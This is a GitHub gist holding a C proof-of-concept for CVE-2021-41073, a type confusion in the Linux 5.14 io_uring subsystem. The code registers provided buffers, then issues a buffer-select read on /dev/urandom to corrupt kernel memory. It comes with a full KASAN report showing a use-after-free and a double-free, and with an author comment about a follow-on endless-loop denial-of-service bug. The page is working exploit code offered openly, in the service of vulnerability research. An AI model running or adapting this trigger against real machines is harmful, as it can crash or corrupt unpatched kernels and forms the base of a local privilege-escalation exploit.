Skip to content

Instantly share code, notes, and snippets.

@QiuhaoLi
Created March 28, 2022 11:11
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save QiuhaoLi/d66b0ff2aa5058bd007a3f6c61d29b6e to your computer and use it in GitHub Desktop.
Save QiuhaoLi/d66b0ff2aa5058bd007a3f6c61d29b6e to your computer and use it in GitHub Desktop.
PoC for CVE-2021-41073 (type confusion in Linux io_uring)
/*
* PoC for CVE-2021-41073, tested on Debian 11 with Linux 5.14
* For writeup and exp visit https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel
* For liburing visit https://github.com/axboe/liburing
* gcc -static -o poc poc.c -luring && ./poc
*/
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <liburing.h>
#include <stdlib.h>
#include <stdio.h>
#define QUEUE_DEPTH 1024
#define GROUP_ID 0x1743
#define BUFFER_CHUNK_NUMBER 0x1000
#define BUFFER_CHUNK_SIZE 0x1000
#define INPUT_FILE_PATHNAME "/dev/urandom" /* doesn't implement file->f_op->read_iter */
char buf[BUFFER_CHUNK_NUMBER][BUFFER_CHUNK_SIZE] = {0};
int main(int argc, char *argv[])
{
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int input_fd;
io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
sqe = io_uring_get_sqe(&ring);
/* IORING_OP_PROVIDE_BUFFERS: register a group of buffers */
io_uring_prep_provide_buffers(sqe, buf, BUFFER_CHUNK_SIZE, BUFFER_CHUNK_NUMBER, GROUP_ID, 0);
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
if (cqe->res < 0)
{
fprintf(stderr, "io_uring register buffers failed!\n");
goto done;
}
input_fd = open(INPUT_FILE_PATHNAME, O_RDONLY);
if (input_fd < 0)
{
perror("failed to get input_fd!\n");
goto done;
}
sqe = io_uring_get_sqe(&ring);
/* Read into buf and trigger the type confusion in io_uring.c:loop_rw_iter() */
/* This may lead to UAF, double-free or other memory exceptions in KASAN */
io_uring_prep_read(sqe, input_fd, NULL, BUFFER_CHUNK_SIZE * BUFFER_CHUNK_NUMBER - 1, 0);
io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
sqe->buf_group = GROUP_ID;
io_uring_submit(&ring);
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
if (cqe->res < 0)
{
fprintf(stderr, "io_uring read failed!\n");
goto done;
}
return 0;
done:
exit(EXIT_FAILURE);
}
@QiuhaoLi
Copy link
Author

/* One KASAN Report */

[  121.333732] ==================================================================
[  121.334273] BUG: KASAN: use-after-free in __io_complete_rw.constprop.0+0x44f/0x560
[  121.334818] Read of size 2 at addr ffff888107fb221c by task iou-wrk-230/231

[  121.335431] CPU: 0 PID: 231 Comm: iou-wrk-230 Not tainted 5.14.0 #11
[  121.335882] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[  121.336484] Call Trace:
[  121.336658]  dump_stack_lvl+0x34/0x44
[  121.336932]  print_address_description.constprop.0+0x1f/0x140
[  121.337333]  ? __io_complete_rw.constprop.0+0x44f/0x560
[  121.337692]  kasan_report.cold+0x7f/0x11b
[  121.337968]  ? __fsnotify_update_child_dentry_flags+0x2f0/0x360
[  121.338383]  ? __io_complete_rw.constprop.0+0x44f/0x560
[  121.338768]  __io_complete_rw.constprop.0+0x44f/0x560
[  121.339129]  ? loop_rw_iter+0x15d/0x510
[  121.339404]  ? __io_complete_rw.constprop.0+0x560/0x560
[  121.339786]  kiocb_done+0x14c/0x640
[  121.340032]  io_read+0x311/0x1070
[  121.340267]  ? io_write+0xb90/0xb90
[  121.340520]  ? number+0x623/0x7e0
[  121.340762]  io_issue_sqe+0x26ee/0x6520
[  121.341036]  ? put_dec+0x90/0x90
[  121.341267]  ? enable_ptr_key_workfn+0x20/0x20
[  121.341574]  ? io_read+0x1070/0x1070
[  121.341796]  ? vsnprintf+0x6de/0x15f0
[  121.342021]  ? _raw_spin_lock_irq+0x76/0xd0
[  121.342283]  io_wq_submit_work+0x1fe/0x280
[  121.342535]  io_worker_handle_work+0x678/0x1490
[  121.342813]  io_wqe_worker+0x76a/0xa50
[  121.343045]  ? io_worker_handle_work+0x1490/0x1490
[  121.343386]  ? _raw_spin_lock_irq+0x76/0xd0
[  121.343689]  ? io_worker_handle_work+0x1490/0x1490
[  121.344030]  ? io_worker_handle_work+0x1490/0x1490
[  121.344374]  ret_from_fork+0x1f/0x30

[  121.344737] The buggy address belongs to the page:
[  121.345076] page:00000000b4e8b87a refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x107fb2
[  121.345754] flags: 0x200000000000000(node=0|zone=2)
[  121.346109] raw: 0200000000000000 ffffea00041fecc8 ffff88811b236090 0000000000000000
[  121.346664] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[  121.347201] page dumped because: kasan: bad access detected

[  121.347695] Memory state around the buggy address:
[  121.348037]  ffff888107fb2100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.348542]  ffff888107fb2180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.349049] >ffff888107fb2200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.349574]                             ^
[  121.349855]  ffff888107fb2280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.350376]  ffff888107fb2300: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.350894] ==================================================================
[  121.351410] Disabling lock debugging due to kernel taint
[  121.351807] ==================================================================
[  121.352332] BUG: KASAN: double-free or invalid-free in __io_complete_rw.constprop.0+0x2b9/0x560

[  121.353167] CPU: 0 PID: 231 Comm: iou-wrk-230 Tainted: G    B             5.14.0 #11
[  121.353899] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[  121.354641] Call Trace:
[  121.354847]  dump_stack_lvl+0x34/0x44
[  121.355143]  print_address_description.constprop.0+0x1f/0x140
[  121.355589]  ? __io_complete_rw.constprop.0+0x2b9/0x560
[  121.356001]  kasan_report_invalid_free+0x51/0x80
[  121.356361]  kfree+0x1a5/0x210
[  121.356595]  __io_complete_rw.constprop.0+0x2b9/0x560
[  121.356974]  ? loop_rw_iter+0x15d/0x510
[  121.357256]  ? __io_complete_rw.constprop.0+0x560/0x560
[  121.357618]  kiocb_done+0x14c/0x640
[  121.357826]  io_read+0x311/0x1070
[  121.358040]  ? io_write+0xb90/0xb90
[  121.358262]  ? number+0x623/0x7e0
[  121.358472]  io_issue_sqe+0x26ee/0x6520
[  121.358715]  ? put_dec+0x90/0x90
[  121.358917]  ? enable_ptr_key_workfn+0x20/0x20
[  121.359198]  ? io_read+0x1070/0x1070
[  121.359420]  ? vsnprintf+0x6de/0x15f0
[  121.359650]  ? _raw_spin_lock_irq+0x76/0xd0
[  121.359914]  io_wq_submit_work+0x1fe/0x280
[  121.360167]  io_worker_handle_work+0x678/0x1490
[  121.360452]  io_wqe_worker+0x76a/0xa50
[  121.360688]  ? io_worker_handle_work+0x1490/0x1490
[  121.360986]  ? _raw_spin_lock_irq+0x76/0xd0
[  121.361248]  ? io_worker_handle_work+0x1490/0x1490
[  121.361551]  ? io_worker_handle_work+0x1490/0x1490
[  121.361901]  ret_from_fork+0x1f/0x30

[  121.362276] The buggy address belongs to the page:
[  121.362595] page:00000000b4e8b87a refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x107fb2
[  121.363175] flags: 0x200000000000000(node=0|zone=2)
[  121.363481] raw: 0200000000000000 ffffea00041fecc8 ffff88811b236090 0000000000000000
[  121.363958] raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[  121.364426] page dumped because: kasan: bad access detected

[  121.364867] Memory state around the buggy address:
[  121.365159]  ffff888107fb2100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.365668]  ffff888107fb2180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.366276] >ffff888107fb2200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.366879]                    ^
[  121.367153]  ffff888107fb2280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.367695]  ffff888107fb2300: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  121.368246] ==================================================================

@QiuhaoLi
Copy link
Author

However, the fix introduced another bug: It only advanced the iterator for registered buffers, so when encountering fixed buffers, it would lead to an endless loop (DoS).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment